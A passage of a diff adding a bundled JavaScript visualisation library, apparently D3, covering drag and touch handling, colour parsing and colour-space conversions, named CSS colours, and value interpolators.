(event.changedTouches) event = event.changedTouches[0]; + return point(node, event); +} + +function selectAll(selector) { + return typeof selector === "string" + ? new Selection([document.querySelectorAll(selector)], [document.documentElement]) + : new Selection([selector == null ? [] : selector], root); +} + +function touch(node, touches, identifier) { + if (arguments.length < 3) identifier = touches, touches = sourceEvent().changedTouches; + + for (var i = 0, n = touches ? touches.length : 0, touch; i < n; ++i) { + if ((touch = touches[i]).identifier === identifier) { + return point(node, touch); + } + } + + return null; +} + +function touches(node, touches) { + if (touches == null) touches = sourceEvent().touches; + + for (var i = 0, n = touches ? touches.length : 0, points = new Array(n); i < n; ++i) { + points[i] = point(node, touches[i]); + } + + return points; +} + +function nopropagation() { + exports.event.stopImmediatePropagation(); +} + +function noevent() { + exports.event.preventDefault(); + exports.event.stopImmediatePropagation(); +} + +function dragDisable(view) { + var root = view.document.documentElement, + selection = select(view).on("dragstart.drag", noevent, true); + if ("onselectstart" in root) { + selection.on("selectstart.drag", noevent, true); + } else { + root.__noselect = root.style.MozUserSelect; + root.style.MozUserSelect = "none"; + } +} + +function yesdrag(view, noclick) { + var root = view.document.documentElement, + selection = select(view).on("dragstart.drag", null); + if (noclick) { + selection.on("click.drag", noevent, true); + setTimeout(function() { selection.on("click.drag", null); }, 0); + } + if ("onselectstart" in root) { + selection.on("selectstart.drag", null); + } else { + root.style.MozUserSelect = root.__noselect; + delete root.__noselect; + } +} + +function constant$2(x) { + return function() { + return x; + }; +} + +function DragEvent(target, type, subject, id, active, x, y, dx, dy, dispatch) { + this.target = target; + this.type = type; + this.subject = subject; + this.identifier = id; + this.active = active; + this.x = x; + this.y = y; + this.dx = dx; + this.dy = dy; + this._ = dispatch; +} + +DragEvent.prototype.on = function() { + var value = this._.on.apply(this._, arguments); + return value === this._ ? this : value; +}; + +// Ignore right-click, since that should open the context menu. +function defaultFilter() { + return !exports.event.ctrlKey && !exports.event.button; +} + +function defaultContainer() { + return this.parentNode; +} + +function defaultSubject(d) { + return d == null ? {x: exports.event.x, y: exports.event.y} : d; +} + +function defaultTouchable() { + return navigator.maxTouchPoints || ("ontouchstart" in this); +} + +function drag() { + var filter = defaultFilter, + container = defaultContainer, + subject = defaultSubject, + touchable = defaultTouchable, + gestures = {}, + listeners = dispatch("start", "drag", "end"), + active = 0, + mousedownx, + mousedowny, + mousemoving, + touchending, + clickDistance2 = 0; + + function drag(selection) { + selection + .on("mousedown.drag", mousedowned) + .filter(touchable) + .on("touchstart.drag", touchstarted) + .on("touchmove.drag", touchmoved) + .on("touchend.drag touchcancel.drag", touchended) + .style("touch-action", "none") + .style("-webkit-tap-highlight-color", "rgba(0,0,0,0)"); + } + + function mousedowned() { + if (touchending || !filter.apply(this, arguments)) return; + var gesture = beforestart("mouse", container.apply(this, arguments), mouse, this, arguments); + if (!gesture) return; + select(exports.event.view).on("mousemove.drag", mousemoved, true).on("mouseup.drag", mouseupped, true); + dragDisable(exports.event.view); + nopropagation(); + mousemoving = false; + mousedownx = exports.event.clientX; + mousedowny = exports.event.clientY; + gesture("start"); + } + + function mousemoved() { + noevent(); + if (!mousemoving) { + var dx = exports.event.clientX - mousedownx, dy = exports.event.clientY - mousedowny; + mousemoving = dx * dx + dy * dy > clickDistance2; + } + gestures.mouse("drag"); + } + + function mouseupped() { + select(exports.event.view).on("mousemove.drag mouseup.drag", null); + yesdrag(exports.event.view, mousemoving); + noevent(); + gestures.mouse("end"); + } + + function touchstarted() { + if (!filter.apply(this, arguments)) return; + var touches = exports.event.changedTouches, + c = container.apply(this, arguments), + n = touches.length, i, gesture; + + for (i = 0; i < n; ++i) { + if (gesture = beforestart(touches[i].identifier, c, touch, this, arguments)) { + nopropagation(); + gesture("start"); + } + } + } + + function touchmoved() { + var touches = exports.event.changedTouches, + n = touches.length, i, gesture; + + for (i = 0; i < n; ++i) { + if (gesture = gestures[touches[i].identifier]) { + noevent(); + gesture("drag"); + } + } + } + + function touchended() { + var touches = exports.event.changedTouches, + n = touches.length, i, gesture; + + if (touchending) clearTimeout(touchending); + touchending = setTimeout(function() { touchending = null; }, 500); // Ghost clicks are delayed! + for (i = 0; i < n; ++i) { + if (gesture = gestures[touches[i].identifier]) { + nopropagation(); + gesture("end"); + } + } + } + + function beforestart(id, container, point, that, args) { + var p = point(container, id), s, dx, dy, + sublisteners = listeners.copy(); + + if (!customEvent(new DragEvent(drag, "beforestart", s, id, active, p[0], p[1], 0, 0, sublisteners), function() { + if ((exports.event.subject = s = subject.apply(that, args)) == null) return false; + dx = s.x - p[0] || 0; + dy = s.y - p[1] || 0; + return true; + })) return; + + return function gesture(type) { + var p0 = p, n; + switch (type) { + case "start": gestures[id] = gesture, n = active++; break; + case "end": delete gestures[id], --active; // nobreak + case "drag": p = point(container, id), n = active; break; + } + customEvent(new DragEvent(drag, type, s, id, n, p[0] + dx, p[1] + dy, p[0] - p0[0], p[1] - p0[1], sublisteners), sublisteners.apply, sublisteners, [type, that, args]); + }; + } + + drag.filter = function(_) { + return arguments.length ? (filter = typeof _ === "function" ? _ : constant$2(!!_), drag) : filter; + }; + + drag.container = function(_) { + return arguments.length ? (container = typeof _ === "function" ? _ : constant$2(_), drag) : container; + }; + + drag.subject = function(_) { + return arguments.length ? (subject = typeof _ === "function" ? _ : constant$2(_), drag) : subject; + }; + + drag.touchable = function(_) { + return arguments.length ? (touchable = typeof _ === "function" ? _ : constant$2(!!_), drag) : touchable; + }; + + drag.on = function() { + var value = listeners.on.apply(listeners, arguments); + return value === listeners ? drag : value; + }; + + drag.clickDistance = function(_) { + return arguments.length ? (clickDistance2 = (_ = +_) * _, drag) : Math.sqrt(clickDistance2); + }; + + return drag; +} + +function define(constructor, factory, prototype) { + constructor.prototype = factory.prototype = prototype; + prototype.constructor = constructor; +} + +function extend(parent, definition) { + var prototype = Object.create(parent.prototype); + for (var key in definition) prototype[key] = definition[key]; + return prototype; +} + +function Color() {} + +var darker = 0.7; +var brighter = 1 / darker; + +var reI = "\\s*([+-]?\\d+)\\s*", + reN = "\\s*([+-]?\\d*\\.?\\d+(?:[eE][+-]?\\d+)?)\\s*", + reP = "\\s*([+-]?\\d*\\.?\\d+(?:[eE][+-]?\\d+)?)%\\s*", + reHex = /^#([0-9a-f]{3,8})$/, + reRgbInteger = new RegExp("^rgb\\(" + [reI, reI, reI] + "\\)$"), + reRgbPercent = new RegExp("^rgb\\(" + [reP, reP, reP] + "\\)$"), + reRgbaInteger = new RegExp("^rgba\\(" + [reI, reI, reI, reN] + "\\)$"), + reRgbaPercent = new RegExp("^rgba\\(" + [reP, reP, reP, reN] + "\\)$"), + reHslPercent = new RegExp("^hsl\\(" + [reN, reP, reP] + "\\)$"), + reHslaPercent = new RegExp("^hsla\\(" + [reN, reP, reP, reN] + "\\)$"); + +var named = { + aliceblue: 0xf0f8ff, + antiquewhite: 0xfaebd7, + aqua: 0x00ffff, + aquamarine: 0x7fffd4, + azure: 0xf0ffff, + beige: 0xf5f5dc, + bisque: 0xffe4c4, + black: 0x000000, + blanchedalmond: 0xffebcd, + blue: 0x0000ff, + blueviolet: 0x8a2be2, + brown: 0xa52a2a, + burlywood: 0xdeb887, + cadetblue: 0x5f9ea0, + chartreuse: 0x7fff00, + chocolate: 0xd2691e, + coral: 0xff7f50, + cornflowerblue: 0x6495ed, + cornsilk: 0xfff8dc, + crimson: 0xdc143c, + cyan: 0x00ffff, + darkblue: 0x00008b, + darkcyan: 0x008b8b, + darkgoldenrod: 0xb8860b, + darkgray: 0xa9a9a9, + darkgreen: 0x006400, + darkgrey: 0xa9a9a9, + darkkhaki: 0xbdb76b, + darkmagenta: 0x8b008b, + darkolivegreen: 0x556b2f, + darkorange: 0xff8c00, + darkorchid: 0x9932cc, + darkred: 0x8b0000, + darksalmon: 0xe9967a, + darkseagreen: 0x8fbc8f, + darkslateblue: 0x483d8b, + darkslategray: 0x2f4f4f, + darkslategrey: 0x2f4f4f, + darkturquoise: 0x00ced1, + darkviolet: 0x9400d3, + deeppink: 0xff1493, + deepskyblue: 0x00bfff, + dimgray: 0x696969, + dimgrey: 0x696969, + dodgerblue: 0x1e90ff, + firebrick: 0xb22222, + floralwhite: 0xfffaf0, + forestgreen: 0x228b22, + fuchsia: 0xff00ff, + gainsboro: 0xdcdcdc, + ghostwhite: 0xf8f8ff, + gold: 0xffd700, + goldenrod: 0xdaa520, + gray: 0x808080, + green: 0x008000, + greenyellow: 0xadff2f, + grey: 0x808080, + honeydew: 0xf0fff0, + hotpink: 0xff69b4, + indianred: 0xcd5c5c, + indigo: 0x4b0082, + ivory: 0xfffff0, + khaki: 0xf0e68c, + lavender: 0xe6e6fa, + lavenderblush: 0xfff0f5, + lawngreen: 0x7cfc00, + lemonchiffon: 0xfffacd, + lightblue: 0xadd8e6, + lightcoral: 0xf08080, + lightcyan: 0xe0ffff, + lightgoldenrodyellow: 0xfafad2, + lightgray: 0xd3d3d3, + lightgreen: 0x90ee90, + lightgrey: 0xd3d3d3, + lightpink: 0xffb6c1, + lightsalmon: 0xffa07a, + lightseagreen: 0x20b2aa, + lightskyblue: 0x87cefa, + lightslategray: 0x778899, + lightslategrey: 0x778899, + lightsteelblue: 0xb0c4de, + lightyellow: 0xffffe0, + lime: 0x00ff00, + limegreen: 0x32cd32, + linen: 0xfaf0e6, + magenta: 0xff00ff, + maroon: 0x800000, + mediumaquamarine: 0x66cdaa, + mediumblue: 0x0000cd, + mediumorchid: 0xba55d3, + mediumpurple: 0x9370db, + mediumseagreen: 0x3cb371, + mediumslateblue: 0x7b68ee, + mediumspringgreen: 0x00fa9a, + mediumturquoise: 0x48d1cc, + mediumvioletred: 0xc71585, + midnightblue: 0x191970, + mintcream: 0xf5fffa, + mistyrose: 0xffe4e1, + moccasin: 0xffe4b5, + navajowhite: 0xffdead, + navy: 0x000080, + oldlace: 0xfdf5e6, + olive: 0x808000, + olivedrab: 0x6b8e23, + orange: 0xffa500, + orangered: 0xff4500, + orchid: 0xda70d6, + palegoldenrod: 0xeee8aa, + palegreen: 0x98fb98, + paleturquoise: 0xafeeee, + palevioletred: 0xdb7093, + papayawhip: 0xffefd5, + peachpuff: 0xffdab9, + peru: 0xcd853f, + pink: 0xffc0cb, + plum: 0xdda0dd, + powderblue: 0xb0e0e6, + purple: 0x800080, + rebeccapurple: 0x663399, + red: 0xff0000, + rosybrown: 0xbc8f8f, + royalblue: 0x4169e1, + saddlebrown: 0x8b4513, + salmon: 0xfa8072, + sandybrown: 0xf4a460, + seagreen: 0x2e8b57, + seashell: 0xfff5ee, + sienna: 0xa0522d, + silver: 0xc0c0c0, + skyblue: 0x87ceeb, + slateblue: 0x6a5acd, + slategray: 0x708090, + slategrey: 0x708090, + snow: 0xfffafa, + springgreen: 0x00ff7f, + steelblue: 0x4682b4, + tan: 0xd2b48c, + teal: 0x008080, + thistle: 0xd8bfd8, + tomato: 0xff6347, + turquoise: 0x40e0d0, + violet: 0xee82ee, + wheat: 0xf5deb3, + white: 0xffffff, + whitesmoke: 0xf5f5f5, + yellow: 0xffff00, + yellowgreen: 0x9acd32 +}; + +define(Color, color, { + copy: function(channels) { + return Object.assign(new this.constructor, this, channels); + }, + displayable: function() { + return this.rgb().displayable(); + }, + hex: color_formatHex, // Deprecated! Use color.formatHex. + formatHex: color_formatHex, + formatHsl: color_formatHsl, + formatRgb: color_formatRgb, + toString: color_formatRgb +}); + +function color_formatHex() { + return this.rgb().formatHex(); +} + +function color_formatHsl() { + return hslConvert(this).formatHsl(); +} + +function color_formatRgb() { + return this.rgb().formatRgb(); +} + +function color(format) { + var m, l; + format = (format + "").trim().toLowerCase(); + return (m = reHex.exec(format)) ? (l = m[1].length, m = parseInt(m[1], 16), l === 6 ? rgbn(m) // #ff0000 + : l === 3 ? new Rgb((m >> 8 & 0xf) | (m >> 4 & 0xf0), (m >> 4 & 0xf) | (m & 0xf0), ((m & 0xf) << 4) | (m & 0xf), 1) // #f00 + : l === 8 ? rgba(m >> 24 & 0xff, m >> 16 & 0xff, m >> 8 & 0xff, (m & 0xff) / 0xff) // #ff000000 + : l === 4 ? rgba((m >> 12 & 0xf) | (m >> 8 & 0xf0), (m >> 8 & 0xf) | (m >> 4 & 0xf0), (m >> 4 & 0xf) | (m & 0xf0), (((m & 0xf) << 4) | (m & 0xf)) / 0xff) // #f000 + : null) // invalid hex + : (m = reRgbInteger.exec(format)) ? new Rgb(m[1], m[2], m[3], 1) // rgb(255, 0, 0) + : (m = reRgbPercent.exec(format)) ? new Rgb(m[1] * 255 / 100, m[2] * 255 / 100, m[3] * 255 / 100, 1) // rgb(100%, 0%, 0%) + : (m = reRgbaInteger.exec(format)) ? rgba(m[1], m[2], m[3], m[4]) // rgba(255, 0, 0, 1) + : (m = reRgbaPercent.exec(format)) ? rgba(m[1] * 255 / 100, m[2] * 255 / 100, m[3] * 255 / 100, m[4]) // rgb(100%, 0%, 0%, 1) + : (m = reHslPercent.exec(format)) ? hsla(m[1], m[2] / 100, m[3] / 100, 1) // hsl(120, 50%, 50%) + : (m = reHslaPercent.exec(format)) ? hsla(m[1], m[2] / 100, m[3] / 100, m[4]) // hsla(120, 50%, 50%, 1) + : named.hasOwnProperty(format) ? rgbn(named[format]) // eslint-disable-line no-prototype-builtins + : format === "transparent" ? new Rgb(NaN, NaN, NaN, 0) + : null; +} + +function rgbn(n) { + return new Rgb(n >> 16 & 0xff, n >> 8 & 0xff, n & 0xff, 1); +} + +function rgba(r, g, b, a) { + if (a <= 0) r = g = b = NaN; + return new Rgb(r, g, b, a); +} + +function rgbConvert(o) { + if (!(o instanceof Color)) o = color(o); + if (!o) return new Rgb; + o = o.rgb(); + return new Rgb(o.r, o.g, o.b, o.opacity); +} + +function rgb(r, g, b, opacity) { + return arguments.length === 1 ? rgbConvert(r) : new Rgb(r, g, b, opacity == null ? 1 : opacity); +} + +function Rgb(r, g, b, opacity) { + this.r = +r; + this.g = +g; + this.b = +b; + this.opacity = +opacity; +} + +define(Rgb, rgb, extend(Color, { + brighter: function(k) { + k = k == null ? brighter : Math.pow(brighter, k); + return new Rgb(this.r * k, this.g * k, this.b * k, this.opacity); + }, + darker: function(k) { + k = k == null ? darker : Math.pow(darker, k); + return new Rgb(this.r * k, this.g * k, this.b * k, this.opacity); + }, + rgb: function() { + return this; + }, + displayable: function() { + return (-0.5 <= this.r && this.r < 255.5) + && (-0.5 <= this.g && this.g < 255.5) + && (-0.5 <= this.b && this.b < 255.5) + && (0 <= this.opacity && this.opacity <= 1); + }, + hex: rgb_formatHex, // Deprecated! Use color.formatHex. + formatHex: rgb_formatHex, + formatRgb: rgb_formatRgb, + toString: rgb_formatRgb +})); + +function rgb_formatHex() { + return "#" + hex(this.r) + hex(this.g) + hex(this.b); +} + +function rgb_formatRgb() { + var a = this.opacity; a = isNaN(a) ? 1 : Math.max(0, Math.min(1, a)); + return (a === 1 ? "rgb(" : "rgba(") + + Math.max(0, Math.min(255, Math.round(this.r) || 0)) + ", " + + Math.max(0, Math.min(255, Math.round(this.g) || 0)) + ", " + + Math.max(0, Math.min(255, Math.round(this.b) || 0)) + + (a === 1 ? ")" : ", " + a + ")"); +} + +function hex(value) { + value = Math.max(0, Math.min(255, Math.round(value) || 0)); + return (value < 16 ? "0" : "") + value.toString(16); +} + +function hsla(h, s, l, a) { + if (a <= 0) h = s = l = NaN; + else if (l <= 0 || l >= 1) h = s = NaN; + else if (s <= 0) h = NaN; + return new Hsl(h, s, l, a); +} + +function hslConvert(o) { + if (o instanceof Hsl) return new Hsl(o.h, o.s, o.l, o.opacity); + if (!(o instanceof Color)) o = color(o); + if (!o) return new Hsl; + if (o instanceof Hsl) return o; + o = o.rgb(); + var r = o.r / 255, + g = o.g / 255, + b = o.b / 255, + min = Math.min(r, g, b), + max = Math.max(r, g, b), + h = NaN, + s = max - min, + l = (max + min) / 2; + if (s) { + if (r === max) h = (g - b) / s + (g < b) * 6; + else if (g === max) h = (b - r) / s + 2; + else h = (r - g) / s + 4; + s /= l < 0.5 ? max + min : 2 - max - min; + h *= 60; + } else { + s = l > 0 && l < 1 ? 0 : h; + } + return new Hsl(h, s, l, o.opacity); +} + +function hsl(h, s, l, opacity) { + return arguments.length === 1 ? hslConvert(h) : new Hsl(h, s, l, opacity == null ? 1 : opacity); +} + +function Hsl(h, s, l, opacity) { + this.h = +h; + this.s = +s; + this.l = +l; + this.opacity = +opacity; +} + +define(Hsl, hsl, extend(Color, { + brighter: function(k) { + k = k == null ? brighter : Math.pow(brighter, k); + return new Hsl(this.h, this.s, this.l * k, this.opacity); + }, + darker: function(k) { + k = k == null ? darker : Math.pow(darker, k); + return new Hsl(this.h, this.s, this.l * k, this.opacity); + }, + rgb: function() { + var h = this.h % 360 + (this.h < 0) * 360, + s = isNaN(h) || isNaN(this.s) ? 0 : this.s, + l = this.l, + m2 = l + (l < 0.5 ? l : 1 - l) * s, + m1 = 2 * l - m2; + return new Rgb( + hsl2rgb(h >= 240 ? h - 240 : h + 120, m1, m2), + hsl2rgb(h, m1, m2), + hsl2rgb(h < 120 ? h + 240 : h - 120, m1, m2), + this.opacity + ); + }, + displayable: function() { + return (0 <= this.s && this.s <= 1 || isNaN(this.s)) + && (0 <= this.l && this.l <= 1) + && (0 <= this.opacity && this.opacity <= 1); + }, + formatHsl: function() { + var a = this.opacity; a = isNaN(a) ? 1 : Math.max(0, Math.min(1, a)); + return (a === 1 ? "hsl(" : "hsla(") + + (this.h || 0) + ", " + + (this.s || 0) * 100 + "%, " + + (this.l || 0) * 100 + "%" + + (a === 1 ? ")" : ", " + a + ")"); + } +})); + +/* From FvD 13.37, CSS Color Module Level 3 */ +function hsl2rgb(h, m1, m2) { + return (h < 60 ? m1 + (m2 - m1) * h / 60 + : h < 180 ? m2 + : h < 240 ? m1 + (m2 - m1) * (240 - h) / 60 + : m1) * 255; +} + +var deg2rad = Math.PI / 180; +var rad2deg = 180 / Math.PI; + +// https://observablehq.com/@mbostock/lab-and-rgb +var K = 18, + Xn = 0.96422, + Yn = 1, + Zn = 0.82521, + t0 = 4 / 29, + t1 = 6 / 29, + t2 = 3 * t1 * t1, + t3 = t1 * t1 * t1; + +function labConvert(o) { + if (o instanceof Lab) return new Lab(o.l, o.a, o.b, o.opacity); + if (o instanceof Hcl) return hcl2lab(o); + if (!(o instanceof Rgb)) o = rgbConvert(o); + var r = rgb2lrgb(o.r), + g = rgb2lrgb(o.g), + b = rgb2lrgb(o.b), + y = xyz2lab((0.2225045 * r + 0.7168786 * g + 0.0606169 * b) / Yn), x, z; + if (r === g && g === b) x = z = y; else { + x = xyz2lab((0.4360747 * r + 0.3850649 * g + 0.1430804 * b) / Xn); + z = xyz2lab((0.0139322 * r + 0.0971045 * g + 0.7141733 * b) / Zn); + } + return new Lab(116 * y - 16, 500 * (x - y), 200 * (y - z), o.opacity); +} + +function gray(l, opacity) { + return new Lab(l, 0, 0, opacity == null ? 1 : opacity); +} + +function lab(l, a, b, opacity) { + return arguments.length === 1 ? labConvert(l) : new Lab(l, a, b, opacity == null ? 1 : opacity); +} + +function Lab(l, a, b, opacity) { + this.l = +l; + this.a = +a; + this.b = +b; + this.opacity = +opacity; +} + +define(Lab, lab, extend(Color, { + brighter: function(k) { + return new Lab(this.l + K * (k == null ? 1 : k), this.a, this.b, this.opacity); + }, + darker: function(k) { + return new Lab(this.l - K * (k == null ? 1 : k), this.a, this.b, this.opacity); + }, + rgb: function() { + var y = (this.l + 16) / 116, + x = isNaN(this.a) ? y : y + this.a / 500, + z = isNaN(this.b) ? y : y - this.b / 200; + x = Xn * lab2xyz(x); + y = Yn * lab2xyz(y); + z = Zn * lab2xyz(z); + return new Rgb( + lrgb2rgb( 3.1338561 * x - 1.6168667 * y - 0.4906146 * z), + lrgb2rgb(-0.9787684 * x + 1.9161415 * y + 0.0334540 * z), + lrgb2rgb( 0.0719453 * x - 0.2289914 * y + 1.4052427 * z), + this.opacity + ); + } +})); + +function xyz2lab(t) { + return t > t3 ? Math.pow(t, 1 / 3) : t / t2 + t0; +} + +function lab2xyz(t) { + return t > t1 ? t * t * t : t2 * (t - t0); +} + +function lrgb2rgb(x) { + return 255 * (x <= 0.0031308 ? 12.92 * x : 1.055 * Math.pow(x, 1 / 2.4) - 0.055); +} + +function rgb2lrgb(x) { + return (x /= 255) <= 0.04045 ? x / 12.92 : Math.pow((x + 0.055) / 1.055, 2.4); +} + +function hclConvert(o) { + if (o instanceof Hcl) return new Hcl(o.h, o.c, o.l, o.opacity); + if (!(o instanceof Lab)) o = labConvert(o); + if (o.a === 0 && o.b === 0) return new Hcl(NaN, 0 < o.l && o.l < 100 ? 0 : NaN, o.l, o.opacity); + var h = Math.atan2(o.b, o.a) * rad2deg; + return new Hcl(h < 0 ? h + 360 : h, Math.sqrt(o.a * o.a + o.b * o.b), o.l, o.opacity); +} + +function lch(l, c, h, opacity) { + return arguments.length === 1 ? hclConvert(l) : new Hcl(h, c, l, opacity == null ? 1 : opacity); +} + +function hcl(h, c, l, opacity) { + return arguments.length === 1 ? hclConvert(h) : new Hcl(h, c, l, opacity == null ? 1 : opacity); +} + +function Hcl(h, c, l, opacity) { + this.h = +h; + this.c = +c; + this.l = +l; + this.opacity = +opacity; +} + +function hcl2lab(o) { + if (isNaN(o.h)) return new Lab(o.l, 0, 0, o.opacity); + var h = o.h * deg2rad; + return new Lab(o.l, Math.cos(h) * o.c, Math.sin(h) * o.c, o.opacity); +} + +define(Hcl, hcl, extend(Color, { + brighter: function(k) { + return new Hcl(this.h, this.c, this.l + K * (k == null ? 1 : k), this.opacity); + }, + darker: function(k) { + return new Hcl(this.h, this.c, this.l - K * (k == null ? 1 : k), this.opacity); + }, + rgb: function() { + return hcl2lab(this).rgb(); + } +})); + +var A = -0.14861, + B = +1.78277, + C = -0.29227, + D = -0.90649, + E = +1.97294, + ED = E * D, + EB = E * B, + BC_DA = B * C - D * A; + +function cubehelixConvert(o) { + if (o instanceof Cubehelix) return new Cubehelix(o.h, o.s, o.l, o.opacity); + if (!(o instanceof Rgb)) o = rgbConvert(o); + var r = o.r / 255, + g = o.g / 255, + b = o.b / 255, + l = (BC_DA * b + ED * r - EB * g) / (BC_DA + ED - EB), + bl = b - l, + k = (E * (g - l) - C * bl) / D, + s = Math.sqrt(k * k + bl * bl) / (E * l * (1 - l)), // NaN if l=0 or l=1 + h = s ? Math.atan2(k, bl) * rad2deg - 120 : NaN; + return new Cubehelix(h < 0 ? h + 360 : h, s, l, o.opacity); +} + +function cubehelix(h, s, l, opacity) { + return arguments.length === 1 ? cubehelixConvert(h) : new Cubehelix(h, s, l, opacity == null ? 1 : opacity); +} + +function Cubehelix(h, s, l, opacity) { + this.h = +h; + this.s = +s; + this.l = +l; + this.opacity = +opacity; +} + +define(Cubehelix, cubehelix, extend(Color, { + brighter: function(k) { + k = k == null ? brighter : Math.pow(brighter, k); + return new Cubehelix(this.h, this.s, this.l * k, this.opacity); + }, + darker: function(k) { + k = k == null ? darker : Math.pow(darker, k); + return new Cubehelix(this.h, this.s, this.l * k, this.opacity); + }, + rgb: function() { + var h = isNaN(this.h) ? 0 : (this.h + 120) * deg2rad, + l = +this.l, + a = isNaN(this.s) ? 0 : this.s * l * (1 - l), + cosh = Math.cos(h), + sinh = Math.sin(h); + return new Rgb( + 255 * (l + a * (A * cosh + B * sinh)), + 255 * (l + a * (C * cosh + D * sinh)), + 255 * (l + a * (E * cosh)), + this.opacity + ); + } +})); + +function basis(t1, v0, v1, v2, v3) { + var t2 = t1 * t1, t3 = t2 * t1; + return ((1 - 3 * t1 + 3 * t2 - t3) * v0 + + (4 - 6 * t2 + 3 * t3) * v1 + + (1 + 3 * t1 + 3 * t2 - 3 * t3) * v2 + + t3 * v3) / 6; +} + +function basis$1(values) { + var n = values.length - 1; + return function(t) { + var i = t <= 0 ? (t = 0) : t >= 1 ? (t = 1, n - 1) : Math.floor(t * n), + v1 = values[i], + v2 = values[i + 1], + v0 = i > 0 ? values[i - 1] : 2 * v1 - v2, + v3 = i < n - 1 ? values[i + 2] : 2 * v2 - v1; + return basis((t - i / n) * n, v0, v1, v2, v3); + }; +} + +function basisClosed(values) { + var n = values.length; + return function(t) { + var i = Math.floor(((t %= 1) < 0 ? ++t : t) * n), + v0 = values[(i + n - 1) % n], + v1 = values[i % n], + v2 = values[(i + 1) % n], + v3 = values[(i + 2) % n]; + return basis((t - i / n) * n, v0, v1, v2, v3); + }; +} + +function constant$3(x) { + return function() { + return x; + }; +} + +function linear(a, d) { + return function(t) { + return a + t * d; + }; +} + +function exponential(a, b, y) { + return a = Math.pow(a, y), b = Math.pow(b, y) - a, y = 1 / y, function(t) { + return Math.pow(a + t * b, y); + }; +} + +function hue(a, b) { + var d = b - a; + return d ? linear(a, d > 180 || d < -180 ? d - 360 * Math.round(d / 360) : d) : constant$3(isNaN(a) ? b : a); +} + +function gamma(y) { + return (y = +y) === 1 ? nogamma : function(a, b) { + return b - a ? exponential(a, b, y) : constant$3(isNaN(a) ? b : a); + }; +} + +function nogamma(a, b) { + var d = b - a; + return d ? linear(a, d) : constant$3(isNaN(a) ? b : a); +} + +var interpolateRgb = (function rgbGamma(y) { + var color = gamma(y); + + function rgb$1(start, end) { + var r = color((start = rgb(start)).r, (end = rgb(end)).r), + g = color(start.g, end.g), + b = color(start.b, end.b), + opacity = nogamma(start.opacity, end.opacity); + return function(t) { + start.r = r(t); + start.g = g(t); + start.b = b(t); + start.opacity = opacity(t); + return start + ""; + }; + } + + rgb$1.gamma = rgbGamma; + + return rgb$1; +})(1); + +function rgbSpline(spline) { + return function(colors) { + var n = colors.length, + r = new Array(n), + g = new Array(n), + b = new Array(n), + i, color; + for (i = 0; i < n; ++i) { + color = rgb(colors[i]); + r[i] = color.r || 0; + g[i] = color.g || 0; + b[i] = color.b || 0; + } + r = spline(r); + g = spline(g); + b = spline(b); + color.opacity = 1; + return function(t) { + color.r = r(t); + color.g = g(t); + color.b = b(t); + return color + ""; + }; + }; +} + +var rgbBasis = rgbSpline(basis$1); +var rgbBasisClosed = rgbSpline(basisClosed); + +function numberArray(a, b) { + if (!b) b = []; + var n = a ? Math.min(b.length, a.length) : 0, + c = b.slice(), + i; + return function(t) { + for (i = 0; i < n; ++i) c[i] = a[i] * (1 - t) + b[i] * t; + return c; + }; +} + +function isNumberArray(x) { + return ArrayBuffer.isView(x) && !(x instanceof DataView); +} + +function array$1(a, b) { + return (isNumberArray(b) ? numberArray : genericArray)(a, b); +} + +function genericArray(a, b) { + var nb = b ? b.length : 0, + na = a ? Math.min(nb, a.length) : 0, + x = new Array(na), + c = new Array(nb), + i; + + for (i = 0; i < na; ++i) x[i] = interpolateValue(a[i], b[i]); + for (; i < nb; ++i) c[i] = b[i]; + + return function(t) { + for (i = 0; i < na; ++i) c[i] = x[i](t); + return c; + }; +} + +function date(a, b) { + var d = new Date; + return a = +a, b = +b, function(t) { + return d.setTime(a * (1 - t) + b * t), d; + }; +} + +function interpolateNumber(a, b) { + return a = +a, b = +b, function(t) { + return a * (1 - t) + b * t; + }; +} + +function object(a, b) { + var i = {}, + c = {}, + k; + + if (a === null || typeof a !== "object") a = {}; + if (b === null || typeof b !== "object") b = {}; + + for (k in b) { + if (k in a) { + i[k] = interpolateValue(a[k], b[k]); + } else { + c[k] = b[k]; + } + } + + return function(t) { + for (k in i) c[k] = i[k](t); + return c; + }; +} + +var reA = /[-+]?(?:\d+\.?\d*|\.?\d+)(?:[eE][-+]?\d+)?/g, + reB = new RegExp(reA.source, "g"); + +function zero(b) { + return function() { + return b; + }; +} + +function one(b) { + return function(t) { + return b(t) + ""; + }; +} + +function interpolateString(a, b) { + var bi = reA.lastIndex = reB.lastIndex = 0, // scan index for next number in b + am, // current match in a + bm, // current match in b + bs, // string preceding current number in b, if any + i = -1, // index in s + s = [], // string constants and placeholders + q = []; // number interpolators + + // Coerce inputs to strings. + a = a + "", b = b + ""; + + // Interpolate pairs of numbers in a & b. + while ((am = reA.exec(a)) + && (bm = reB.exec(b))) { + if ((bs = bm.index) > bi) { // a string precedes the next number in b + bs = b.slice(bi, bs); + if (s[i]) s[i] += bs; // coalesce with previous string + else s[++i] = bs; + } + if ((am = am[0]) === (bm = bm[0])) { // numbers in a & b match + if (s[i]) s[i] += bm; // coalesce with previous string + else s[++i] = bm; + } else { // interpolate non-matching numbers + s[++i] = null; + q.push({i: i, x: interpolateNumber(am, bm)}); + } + bi = reB.lastIndex; + } + + // Add remains of b. + if (bi < b.length) { + bs = b.slice(bi); + if (s[i]) s[i] += bs; // coalesce with previous string + else s[++i] = bs; + } + + // Special optimization for only a single match. + // Otherwise, interpolate each of the numbers and rejoin the string. + return s.length < 2 ? (q[0] + ? one(q[0].x) + : zero(b)) + : (b = q.length, function(t) { + for (var i = 0, o; i < b; ++i) s[(o = q[i]).i] = o.x(t); + return s.join(""); + }); +} + +function interpolateValue(a, b) { + var t = typeof b, c; + return b == null || t === "boolean" ? constant$3(b) + : (t === "number" ? interpolateNumber + : t === "string" ? ((c = color(b)) ? (b = c, interpolateRgb) : interpolateString) + : b instanceof color ? interpolateRgb + : b instanceof Date ? date + : isNumberArray(b) ? numberArray + : Array.isArray(b) ? genericArray + : typeof b.valueOf !== "function" && typeof b.toString !== "function" || isNaN(b) ? object + : interpolateNumber)(a, b); +} + +function discrete(range) { + var n = range.length; + return function(t) { + return range[Math.max(0, Math.min(n - 1, Math.floor(t * n)))]; + }; +} + +function hue$1(a, b) { + var i = hue(+a, +b); + return function(t) { + var x = i(t); + return x - 360 * Math.floor(x / 360); + }; +} + +function interpolateRound(a, b) { + return a = +a, b = +b, function(t) { + return Math.round(a * (1 - t) + b * t); + }; +} + +var degrees = 180 / Math.PI; + +var identity$2 = { + translateX: 0, + translateY: 0, + rotate: 0, + skewX: 0, + scaleX: 1, + scaleY: 1 +}; + 